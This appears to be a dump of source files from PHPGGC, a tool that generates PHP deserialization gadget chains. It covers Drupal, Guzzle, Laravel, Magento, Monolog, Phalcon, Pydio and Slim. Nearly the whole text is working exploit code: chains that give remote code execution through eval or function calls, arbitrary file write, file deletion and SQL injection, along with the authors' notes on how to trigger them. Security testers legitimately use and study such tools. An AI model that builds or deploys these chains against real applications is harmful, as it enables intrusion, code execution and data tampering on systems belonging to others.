148 | namespace Doctrine\Common\Persistence\Mapping\Driver | |
149 | { | |
150 | abstract class FileDriver | |
151 | { | |
152 | protected $locator; | |
153 | protected $classCache; | |
154 | protected $globalBasename; | |
155 | } | |
156 | ||
157 | class PHPDriver extends FileDriver | |
158 | { | |
159 | protected $metadata; | |
160 | } | |
161 | } | |
162 | ||
163 | namespace Doctrine\Common\Cache | |
164 | { | |
165 | abstract class CacheProvider | |
166 | { | |
167 | private $namespace = ''; | |
168 | private $namespaceVersion; | |
169 | } | |
170 | ||
171 | abstract class FileCache extends CacheProvider | |
172 | { | |
173 | protected $directory; | |
174 | private $extension; | |
175 | private $umask = ~0777; | |
176 | private $directoryStringLength; | |
177 | private $extensionStringLength; | |
178 | private $isRunningOnWindows; | |
179 | ||
180 | function __construct($directory, $extension) | |
181 | { | |
182 | $this->directory = $directory; | |
183 | $this->directoryStringLength = strlen($directory); | |
184 | $this->extension = $extension; | |
185 | $this->extensionStringLength = strlen($extension); | |
186 | } | |
187 | } | |
188 | ||
189 | class FilesystemCache extends FileCache | |
190 | { | |
191 | } | |
192 | } | |
193 | ||
194 | ||
195 | namespace Doctrine\Common | |
196 | { | |
197 | class EventManager | |
198 | { | |
199 | private $_listeners = []; | |
200 | } | |
201 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Drupal7; | |
3 | ||
4 | class FD1 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '7.0 < ?'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'rreiss'; | |
9 | public static $informations = ' | |
10 | Note that some files may not be removed (depends on permissions) | |
11 | '; | |
12 | ||
13 | public function generate(array $parameters) | |
14 | { | |
15 | return new \Archive_Tar($parameters['remote_file']); | |
16 | } | |
17 | } |
0 | <?php | |
1 | ||
2 | class Archive_Tar | |
3 | { | |
4 | public $_temp_tarname; | |
5 | ||
6 | public function __construct($_temp_tarname) { | |
7 | $this->_temp_tarname = $_temp_tarname; | |
8 | } | |
9 | ||
10 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Drupal7; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '7.0.8 < ?'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'Blaklis'; | |
9 | public static $informations = 'You will need to post form_build_id=DrupalRCE to /?q=system/ajax once the payload is unserialized'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $parameter = $parameters['parameter']; | |
15 | ||
16 | return new \SchemaCache($function,$parameter); | |
17 | } | |
18 | }⏎ |
0 | <?php | |
1 | ||
2 | class SchemaCache { | |
3 | protected $cid = 'form_DrupalRCE'; | |
4 | protected $bin = 'cache_form'; | |
5 | protected $keysToPersist = ['#form_id'=>true, '#process'=>true, '#attached'=>true]; | |
6 | protected $storage = ['#form_id'=>'DrupalRCE','#process'=>['drupal_process_attached'], '#attached'=>[]]; | |
7 | ||
8 | public function __construct($function,$parameter) { | |
9 | $this->storage['#attached']+=[$function=>[[$parameter]]]; | |
10 | } | |
11 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Guzzle; | |
3 | ||
4 | class FW1 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '6.0.0 <= 6.3.3+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'cf'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $path = $parameters['remote_path']; | |
13 | $data = $parameters['data']; | |
14 | ||
15 | return new \GuzzleHttp\Cookie\FileCookieJar($path, $data); | |
16 | } | |
17 | } |
0 | <?php | |
1 | ||
2 | namespace GuzzleHttp\Cookie | |
3 | { | |
4 | class SetCookie | |
5 | { | |
6 | private $data; | |
7 | ||
8 | public function __construct($data) | |
9 | { | |
10 | $this->data = [ | |
11 | 'Expires' => 1, | |
12 | 'Discard' => false, | |
13 | 'Value' => $data | |
14 | ]; | |
15 | } | |
16 | } | |
17 | ||
18 | class CookieJar | |
19 | { | |
20 | private $cookies = []; | |
21 | private $strictMode; | |
22 | ||
23 | public function __construct($data) | |
24 | { | |
25 | $this->cookies = [new SetCookie($data)]; | |
26 | } | |
27 | } | |
28 | ||
29 | class FileCookieJar extends CookieJar | |
30 | { | |
31 | private $filename; | |
32 | private $storeSessionCookies = true; | |
33 | ||
34 | public function __construct($filename, $data) | |
35 | { | |
36 | parent::__construct($data); | |
37 | $this->filename = $filename; | |
38 | } | |
39 | } | |
40 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Guzzle; | |
3 | ||
4 | class INFO1 extends \PHPGGC\GadgetChain\PHPInfo | |
5 | { | |
6 | public static $version = '6.0.0 <= 6.3.2'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'erwan_lr'; | |
9 | public static $informations = ' | |
10 | This chain requires GuzzleHttp\Psr7 < 1.5.0, because FnStream cannot be | |
11 | deserialized afterwards. | |
12 | See https://github.com/ambionics/phpggc/issues/34 | |
13 | '; | |
14 | ||
15 | public function generate(array $parameters) | |
16 | { | |
17 | return new \GuzzleHttp\Psr7\FnStream(); | |
18 | } | |
19 | } |
0 | <?php | |
1 | ||
2 | namespace GuzzleHttp\Psr7 | |
3 | { | |
4 | class FnStream | |
5 | { | |
6 | public $_fn_close = 'phpinfo'; | |
7 | ||
8 | /* | |
9 | public function __destruct() | |
10 | { | |
11 | if (isset($this->_fn_close)) { | |
12 | call_user_func($this->_fn_close); | |
13 | } | |
14 | } | |
15 | ||
16 | public function close() | |
17 | { | |
18 | return call_user_func($this->_fn_close); | |
19 | } | |
20 | */ | |
21 | } | |
22 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Guzzle; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '6.0.0 <= 6.3.2'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'proclnas'; | |
9 | public static $informations = ' | |
10 | This chain requires GuzzleHttp\Psr7 < 1.5.0, because FnStream cannot be | |
11 | deserialized afterwards. | |
12 | See https://github.com/ambionics/phpggc/issues/34 | |
13 | '; | |
14 | ||
15 | ||
16 | public function generate(array $parameters) | |
17 | { | |
18 | $function = $parameters['function']; | |
19 | $parameter = $parameters['parameter']; | |
20 | ||
21 | return new \GuzzleHttp\Psr7\FnStream([ | |
22 | 'close' => [ | |
23 | new \GuzzleHttp\HandlerStack($function, $parameter), | |
24 | 'resolve' | |
25 | ] | |
26 | ]); | |
27 | } | |
28 | } |
0 | <?php | |
1 | ||
2 | namespace Psr\Http\Message | |
3 | { | |
4 | interface StreamInterface{} | |
5 | } | |
6 | ||
7 | namespace GuzzleHttp\Psr7 | |
8 | { | |
9 | class FnStream implements \Psr\Http\Message\StreamInterface | |
10 | { | |
11 | private $methods; | |
12 | ||
13 | public function __construct(array $methods) | |
14 | { | |
15 | $this->methods = $methods; | |
16 | ||
17 | foreach ($methods as $name => $fn) { | |
18 | $this->{'_fn_' . $name} = $fn; | |
19 | } | |
20 | } | |
21 | ||
22 | /* | |
23 | public function __destruct() | |
24 | { | |
25 | if (isset($this->_fn_close)) { | |
26 | call_user_func($this->_fn_close); | |
27 | } | |
28 | } | |
29 | ||
30 | public function close() | |
31 | { | |
32 | return call_user_func($this->_fn_close); | |
33 | } | |
34 | */ | |
35 | } | |
36 | } | |
37 | ||
38 | namespace GuzzleHttp | |
39 | { | |
40 | class HandlerStack | |
41 | { | |
42 | private $handler; | |
43 | private $stack; | |
44 | private $cached = false; | |
45 | ||
46 | function __construct($function, $parameter) | |
47 | { | |
48 | $this->stack = [[$function]]; | |
49 | $this->handler = $parameter; | |
50 | } | |
51 | ||
52 | /* | |
53 | public function resolve() | |
54 | { | |
55 | if (!$this->cached) { | |
56 | if (!($prev = $this->handler)) { | |
57 | throw new \LogicException('No handler has been specified'); | |
58 | } | |
59 | ||
60 | foreach (array_reverse($this->stack) as $fn) { | |
61 | $prev = $fn[0]($prev); | |
62 | } | |
63 | ||
64 | $this->cached = $prev; | |
65 | } | |
66 | ||
67 | return $this->cached; | |
68 | } | |
69 | */ | |
70 | } | |
71 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laravel; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '5.4.27'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'cf'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Illuminate\Broadcasting\PendingBroadcast( | |
16 | new \Faker\Generator($function), | |
17 | $parameter | |
18 | ); | |
19 | } | |
20 | } |
0 | <?php | |
1 | ||
2 | namespace Illuminate\Broadcasting | |
3 | { | |
4 | class PendingBroadcast | |
5 | { | |
6 | protected $events; | |
7 | protected $event; | |
8 | ||
9 | function __construct($events, $cmd) | |
10 | { | |
11 | $this->events = $events; | |
12 | $this->event = $cmd; | |
13 | } | |
14 | } | |
15 | } | |
16 | ||
17 | ||
18 | namespace Faker | |
19 | { | |
20 | class Generator | |
21 | { | |
22 | protected $formatters; | |
23 | ||
24 | function __construct($function) | |
25 | { | |
26 | $this->formatters = ['dispatch' => $function]; | |
27 | } | |
28 | } | |
29 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laravel; | |
3 | ||
4 | class RCE2 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '5.5.39'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'BlackFan'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Illuminate\Broadcasting\PendingBroadcast( | |
16 | new \Illuminate\Events\Dispatcher($function, $parameter), | |
17 | $parameter | |
18 | ); | |
19 | } | |
20 | } |
0 | <?php | |
1 | ||
2 | namespace Illuminate\Broadcasting | |
3 | { | |
4 | class PendingBroadcast | |
5 | { | |
6 | protected $events; | |
7 | protected $event; | |
8 | ||
9 | function __construct($events, $parameter) | |
10 | { | |
11 | $this->events = $events; | |
12 | $this->event = $parameter; | |
13 | } | |
14 | } | |
15 | } | |
16 | ||
17 | ||
18 | namespace Illuminate\Events | |
19 | { | |
20 | class Dispatcher | |
21 | { | |
22 | protected $listeners; | |
23 | ||
24 | function __construct($function, $parameter) | |
25 | { | |
26 | $this->listeners = [ | |
27 | $parameter => [$function] | |
28 | ]; | |
29 | } | |
30 | } | |
31 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laravel; | |
3 | ||
4 | class RCE3 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '5.5.39'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'BlackFan'; | |
9 | public static $informations = 'This chain triggers an ErrorException after code execution.'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $parameter = $parameters['parameter']; | |
15 | ||
16 | return new \Illuminate\Broadcasting\PendingBroadcast( | |
17 | new \Illuminate\Notifications\ChannelManager($function, $parameter) | |
18 | ); | |
19 | } | |
20 | } |
0 | <?php | |
1 | ||
2 | namespace Illuminate\Broadcasting | |
3 | { | |
4 | class PendingBroadcast | |
5 | { | |
6 | protected $events; | |
7 | ||
8 | function __construct($events) | |
9 | { | |
10 | $this->events = $events; | |
11 | } | |
12 | } | |
13 | } | |
14 | ||
15 | ||
16 | namespace Illuminate\Notifications | |
17 | { | |
18 | class ChannelManager | |
19 | { | |
20 | protected $app; | |
21 | protected $defaultChannel; | |
22 | protected $customCreators; | |
23 | ||
24 | function __construct($function, $parameter) | |
25 | { | |
26 | $this->app = $parameter; | |
27 | $this->customCreators = ['x' => $function]; | |
28 | $this->defaultChannel = 'x'; | |
29 | } | |
30 | } | |
31 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laravel; | |
3 | ||
4 | class RCE4 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '5.5.39'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'BlackFan'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Illuminate\Broadcasting\PendingBroadcast( | |
16 | new \Illuminate\Validation\Validator($function), | |
17 | $parameter | |
18 | ); | |
19 | } | |
20 | } |
0 | <?php | |
1 | ||
2 | namespace Illuminate\Broadcasting | |
3 | { | |
4 | class PendingBroadcast | |
5 | { | |
6 | protected $events; | |
7 | protected $event; | |
8 | ||
9 | function __construct($events, $event) | |
10 | { | |
11 | $this->events = $events; | |
12 | $this->event = $event; | |
13 | } | |
14 | } | |
15 | } | |
16 | ||
17 | ||
18 | namespace Illuminate\Validation | |
19 | { | |
20 | class Validator | |
21 | { | |
22 | public $extensions; | |
23 | ||
24 | function __construct($function) | |
25 | { | |
26 | $this->extensions = ['' => $function]; | |
27 | } | |
28 | } | |
29 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laravel; | |
3 | ||
4 | class RCE5 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '5.8.30'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'Phith0n'; | |
9 | public static $informations = ' | |
10 | Executes given PHP code through eval(). | |
11 | Requires Mockery, which is in the require-dev package. | |
12 | '; | |
13 | public static $parameters = [ | |
14 | 'code' | |
15 | ]; | |
16 | ||
17 | public function generate(array $parameters) | |
18 | { | |
19 | $code = '<?php ' . $parameters['code'] . ' exit; ?>'; | |
20 | return new \Illuminate\Broadcasting\PendingBroadcast($code); | |
21 | } | |
22 | }⏎ |
0 | <?php | |
1 | namespace Illuminate\Bus { | |
2 | class Dispatcher { | |
3 | protected $queueResolver; | |
4 | ||
5 | function __construct() | |
6 | { | |
7 | $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load']; | |
8 | } | |
9 | } | |
10 | } | |
11 | ||
12 | namespace Illuminate\Broadcasting { | |
13 | class PendingBroadcast { | |
14 | protected $events; | |
15 | protected $event; | |
16 | ||
17 | function __construct($evilCode) | |
18 | { | |
19 | $this->events = new \Illuminate\Bus\Dispatcher(); | |
20 | $this->event = new BroadcastEvent($evilCode); | |
21 | } | |
22 | } | |
23 | ||
24 | class BroadcastEvent { | |
25 | public $connection; | |
26 | ||
27 | function __construct($evilCode) | |
28 | { | |
29 | $this->connection = new \Mockery\Generator\MockDefinition($evilCode); | |
30 | } | |
31 | ||
32 | } | |
33 | } | |
34 | ||
35 | namespace Mockery\Loader { | |
36 | class EvalLoader {} | |
37 | } | |
38 | ||
39 | namespace Mockery\Generator { | |
40 | class MockDefinition { | |
41 | protected $config; | |
42 | protected $code; | |
43 | ||
44 | function __construct($evilCode) | |
45 | { | |
46 | $this->code = $evilCode; | |
47 | $this->config = new MockConfiguration(); | |
48 | } | |
49 | } | |
50 | ||
51 | class MockConfiguration { | |
52 | protected $name = 'abcdefg'; | |
53 | } | |
54 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laravel; | |
3 | ||
4 | class RCE6 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '5.5.*'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'Phith0n & holyvier'; | |
9 | public static $informations = ' | |
10 | Executes given PHP code through eval(). | |
11 | Requires Mockery, which is in the require-dev package. | |
12 | '; | |
13 | public static $parameters = [ | |
14 | 'code' | |
15 | ]; | |
16 | ||
17 | public function generate(array $parameters) | |
18 | { | |
19 | $code = '<?php ' . $parameters['code'] . ' exit; ?>'; | |
20 | $expected = new \Illuminate\Broadcasting\PendingBroadcast($code); | |
21 | $res = new \Illuminate\Support\MessageBag($expected); | |
22 | return $res; | |
23 | ||
24 | } | |
25 | } |
0 | <?php | |
1 | namespace Illuminate\Bus { | |
2 | class Dispatcher { | |
3 | protected $queueResolver; | |
4 | ||
5 | function __construct() | |
6 | { | |
7 | $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load']; | |
8 | } | |
9 | } | |
10 | } | |
11 | ||
12 | namespace Illuminate\Broadcasting { | |
13 | class PendingBroadcast { | |
14 | protected $events; | |
15 | protected $event; | |
16 | ||
17 | function __construct($evilCode) | |
18 | { | |
19 | $this->events = new \Illuminate\Bus\Dispatcher(); | |
20 | $this->event = new BroadcastEvent($evilCode); | |
21 | } | |
22 | } | |
23 | ||
24 | class BroadcastEvent { | |
25 | public $connection; | |
26 | ||
27 | function __construct($evilCode) | |
28 | { | |
29 | $this->connection = new \Mockery\Generator\MockDefinition($evilCode); | |
30 | } | |
31 | ||
32 | } | |
33 | } | |
34 | ||
35 | namespace Illuminate\Support { | |
36 | class MessageBag { | |
37 | protected $messages = []; | |
38 | protected $format; | |
39 | ||
40 | function __construct($inner) { | |
41 | $this->format = $inner; | |
42 | } | |
43 | } | |
44 | } | |
45 | ||
46 | namespace Mockery\Loader { | |
47 | class EvalLoader {} | |
48 | } | |
49 | ||
50 | namespace Mockery\Generator { | |
51 | class MockDefinition { | |
52 | protected $config; | |
53 | protected $code; | |
54 | ||
55 | function __construct($evilCode) | |
56 | { | |
57 | $this->code = $evilCode; | |
58 | $this->config = new MockConfiguration(); | |
59 | } | |
60 | } | |
61 | ||
62 | class MockConfiguration { | |
63 | protected $name = 'abcdefg'; | |
64 | } | |
65 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Magento; | |
3 | ||
4 | class FW1 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '? <= 1.9.4.0'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'eboda'; | |
9 | public static $informations = 'The <remote_path> is either relative to the Magento root or absolute. The payload will throw an error during unserialization, but the file is written anyway.'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $parameters = parent::process_parameters($parameters); | |
14 | ||
15 | $file = $parameters['remote_path']; | |
16 | $payload = $parameters['data']; | |
17 | ||
18 | return new \Zend_Memory_Manager($file, $payload); | |
19 | } | |
20 | } |
0 | <?php | |
1 | ||
2 | class Zend_Memory_Manager { | |
3 | private $_backend; | |
4 | ||
5 | function __construct($file, $payload) { | |
6 | $this->_backend = new Varien_Cache_Backend_Eaccelerator( | |
7 | new Zend_Log ( | |
8 | new Zend_CodeGenerator_Php_File($file, $payload) | |
9 | ) | |
10 | ); | |
11 | } | |
12 | } | |
13 | ||
14 | class Varien_Cache_Backend_Eaccelerator { | |
15 | protected $_directives; | |
16 | ||
17 | function __construct($x) { | |
18 | $this->_directives = array(); | |
19 | $this->_directives["logging"] = true; | |
20 | $this->_directives["logger"] = $x; | |
21 | } | |
22 | } | |
23 | ||
24 | class Zend_Log { | |
25 | protected $_writers; | |
26 | protected $_priorities; | |
27 | ||
28 | function __construct($writer) { | |
29 | $this->_writers = array(); | |
30 | $this->_writers[0] = $writer; | |
31 | ||
32 | $this->_priorities = array(); | |
33 | $this->_priorities[3] = 1; | |
34 | $this->_priorities[4] = 1; | |
35 | } | |
36 | } | |
37 | ||
38 | class Zend_CodeGenerator_Php_File { | |
39 | protected $_filename; | |
40 | protected $_sourceContent; | |
41 | protected $_isSourceDirty; | |
42 | ||
43 | function __construct($fn, $payload) { | |
44 | $this->_filename= $fn; | |
45 | $this->_sourceContent = $payload; | |
46 | $this->_isSourceDirty = false; | |
47 | } | |
48 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Magento; | |
3 | ||
4 | # Reference: https://maxchadwick.xyz/blog/using-cve-2016-4010-gadget-chain-in-magento-1 | |
5 | class SQLI1 extends \PHPGGC\GadgetChain\SqlInjection | |
6 | { | |
7 | public static $version = '? <= 1.9.4.0'; | |
8 | public static $vector = '__destruct'; | |
9 | public static $author = 'mpchadwick'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $sql = $parameters['sql']; | |
14 | ||
15 | return new \Credis_Client( | |
16 | new \Mage_Sales_Model_Order_Payment_Transaction( | |
17 | $sql | |
18 | ) | |
19 | ); | |
20 | } | |
21 | } |
0 | <?php | |
1 | ||
2 | class Credis_Client | |
3 | { | |
4 | protected $redis; | |
5 | protected $connected; | |
6 | ||
7 | public function __construct($redis) | |
8 | { | |
9 | $this->connected = true; | |
10 | $this->redis = $redis; | |
11 | } | |
12 | } | |
13 | ||
14 | class Mage_Sales_Model_Order_Payment_Transaction | |
15 | { | |
16 | protected $_isFailsafe; | |
17 | protected $_paymentObject; | |
18 | protected $_data; | |
19 | protected $_resourceName; | |
20 | protected $_idFieldName; | |
21 | ||
22 | public function __construct($sql) | |
23 | { | |
24 | $this->_isFailsafe = true; | |
25 | $this->_paymentObject = new Mage_Sales_Model_Order_Payment; | |
26 | $this->_data = [ | |
27 | 'order_id' => 1, | |
28 | 'store_id' => new Zend_Db_Expr('1); ' . $sql . ';--') | |
29 | ]; | |
30 | $this->_resourceName = 'log/log'; | |
31 | $this->_idFieldName = 'id'; | |
32 | } | |
33 | } | |
34 | ||
35 | class Zend_Db_Expr | |
36 | { | |
37 | protected $_expression; | |
38 | ||
39 | public function __construct($expression) | |
40 | { | |
41 | $this->_expression = $expression; | |
42 | } | |
43 | } | |
44 | ||
45 | class Mage_Sales_Model_Order_Payment | |
46 | { | |
47 | protected $_idFieldName; | |
48 | ||
49 | public function __construct() | |
50 | { | |
51 | $this->_idFieldName = 'id'; | |
52 | } | |
53 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '1.18 <= 1.23'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'cf'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Monolog\Handler\SyslogUdpHandler( | |
16 | new \Monolog\Handler\BufferHandler( | |
17 | ['current', $function], | |
18 | [$parameter, 'level' => null] | |
19 | ) | |
20 | ); | |
21 | } | |
22 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Monolog\Handler | |
3 | { | |
4 | class SyslogUdpHandler | |
5 | { | |
6 | protected $socket; | |
7 | ||
8 | function __construct($x) | |
9 | { | |
10 | $this->socket = $x; | |
11 | } | |
12 | } | |
13 | ||
14 | class BufferHandler | |
15 | { | |
16 | protected $handler; | |
17 | protected $bufferSize = -1; | |
18 | protected $buffer; | |
19 | # ($record['level'] < $this->level) == false | |
20 | protected $level = null; | |
21 | protected $initialized = true; | |
22 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false | |
23 | protected $bufferLimit = -1; | |
24 | protected $processors; | |
25 | ||
26 | function __construct($methods, $command) | |
27 | { | |
28 | $this->processors = $methods; | |
29 | $this->buffer = [$command]; | |
30 | $this->handler = clone $this; | |
31 | } | |
32 | } | |
33 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class RCE2 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '1.5 <= 1.17'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'cf'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Monolog\Handler\SyslogUdpHandler( | |
16 | new \Monolog\Handler\BufferHandler( | |
17 | ['current', $function], | |
18 | [$parameter, 'level' => null] | |
19 | ) | |
20 | ); | |
21 | } | |
22 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Monolog\Handler | |
3 | { | |
4 | class SyslogUdpHandler | |
5 | { | |
6 | # Socket is not declared in earlier versions | |
7 | #protected $socket; | |
8 | ||
9 | function __construct($x) | |
10 | { | |
11 | $this->socket = $x; | |
12 | } | |
13 | } | |
14 | ||
15 | class BufferHandler | |
16 | { | |
17 | protected $handler; | |
18 | protected $bufferSize = -1; | |
19 | protected $buffer; | |
20 | # ($record['level'] < $this->level) == false | |
21 | protected $level = null; | |
22 | protected $initialized = true; | |
23 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false | |
24 | protected $bufferLimit = -1; | |
25 | protected $processors; | |
26 | ||
27 | function __construct($methods, $command) | |
28 | { | |
29 | $this->processors = $methods; | |
30 | $this->buffer = [$command]; | |
31 | $this->handler = clone $this; | |
32 | } | |
33 | } | |
34 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Phalcon; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '<= 1.2.2'; | |
7 | public static $vector = '__wakeup'; | |
8 | public static $author = 'Raz0r'; | |
9 | public static $informations = ' | |
10 | This chain does not expect parameters, will eval() any code supplied in | |
11 | php://input (i.e. POST data). Requires allow_url_include = true. | |
12 | '; | |
13 | ||
14 | # No parameters expected | |
15 | public static $parameters = []; | |
16 | ||
17 | public function generate(array $parameters) | |
18 | { | |
19 | return new \Phalcon\Logger\Adapter\File(); | |
20 | } | |
21 | } |
0 | <?php | |
1 | ||
2 | namespace Phalcon\Di{ | |
3 | class Service { | |
4 | protected $_shared; | |
5 | protected $_definition; | |
6 | ||
7 | public function __construct() { | |
8 | $this->_shared = false; | |
9 | $this->_definition = array( | |
10 | 'className' => '\Phalcon\Mvc\View\Engine\Php', | |
11 | 'arguments' => array(array('type' => 'parameter', 'value' => 'test')), | |
12 | 'calls' => array( | |
13 | array( | |
14 | 'method' => 'render', | |
15 | 'arguments' => array( | |
16 | array( | |
17 | 'type' => 'parameter', | |
18 | 'value' => 'php://input' | |
19 | ), array( | |
20 | 'type' => 'parameter', | |
21 | 'value' => array() | |
22 | ) | |
23 | ) | |
24 | ) | |
25 | ) | |
26 | ); | |
27 | } | |
28 | } | |
29 | } | |
30 | ||
31 | namespace Phalcon { | |
32 | class Di { | |
33 | protected $_services; | |
34 | ||
35 | public function __construct() { | |
36 | $this->_services = array('session' => new \Phalcon\Di\Service()); | |
37 | } | |
38 | } | |
39 | } | |
40 | ||
41 | namespace Phalcon\Http { | |
42 | class Cookie { | |
43 | protected $_dependencyInjector; | |
44 | protected $_name = "test"; | |
45 | protected $_expire = 0; | |
46 | protected $_httpOnly = 1; | |
47 | protected $_readed = true; | |
48 | protected $_restored = false; | |
49 | ||
50 | public function __construct() { | |
51 | $this->_dependencyInjector = new \Phalcon\Di(); | |
52 | } | |
53 | } | |
54 | } | |
55 | ||
56 | namespace Phalcon\Logger\Adapter { | |
57 | class File { | |
58 | protected $_transaction; | |
59 | protected $_queue; | |
60 | protected $_formatter; | |
61 | protected $_logLevel; | |
62 | protected $_fileHandler; | |
63 | protected $_path; | |
64 | protected $_options; | |
65 | ||
66 | function __construct() { | |
67 | $this->_path = new \Phalcon\Http\Cookie("test"); | |
68 | } | |
69 | } | |
70 | } | |
71 | ||
72 | ?> |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Pydio\Guzzle; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '< 8.2.2'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'us3r777'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \GuzzleHttp\Psr7\FnStream([ | |
16 | '__toString' => [ new \Pydio\Core\Controller\ShutDownScheduler($function, $parameter), 'callRegisteredShutdown'] | |
17 | ]); | |
18 | } | |
19 | } |
0 | <?php | |
1 | namespace Psr\Http\Message | |
2 | { | |
3 | interface StreamInterface{} | |
4 | } | |
5 | ||
6 | namespace GuzzleHttp\Psr7 | |
7 | { | |
8 | class FnStream implements \Psr\Http\Message\StreamInterface | |
9 | { | |
10 | private $methods; | |
11 | ||
12 | public function __construct(array $methods) | |
13 | { | |
14 | $this->methods = $methods; | |
15 | ||
16 | foreach ($methods as $name => $fn) { | |
17 | $this->{'_fn_' . $name} = $fn; | |
18 | } | |
19 | } | |
20 | } | |
21 | } | |
22 | ||
23 | namespace Pydio\Core\Controller | |
24 | { | |
25 | class ShutdownScheduler | |
26 | { | |
27 | private $callbacks; | |
28 | public function __construct($function, $parameter) { | |
29 | $this->callbacks = [[$function, $parameter]]; | |
30 | } | |
31 | } | |
32 | } | |
33 | ||
34 |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Slim; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE | |
5 | { | |
6 | public static $version = '3.8.1'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'cf'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Slim\Http\Response($function, $parameter); | |
16 | } | |
17 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Pimple | |
3 | { | |
4 | class Container | |
5 | { | |
6 | private $raw; | |
7 | private $values; | |
8 | private $keys; | |
9 | ||
10 | function __construct($array) | |
11 | { | |
12 | $this->keys = $this->raw = $this->values = $array; | |
13 | } | |
14 | } | |
15 | } | |
16 | ||
17 | namespace Slim | |
18 | { | |
19 | class App | |
20 | { | |
21 | private $container; | |
22 | ||
23 | function __construct($container) | |
24 | { | |
25 | $this->container = $container; | |
26 | } | |
27 | } | |
28 | ||
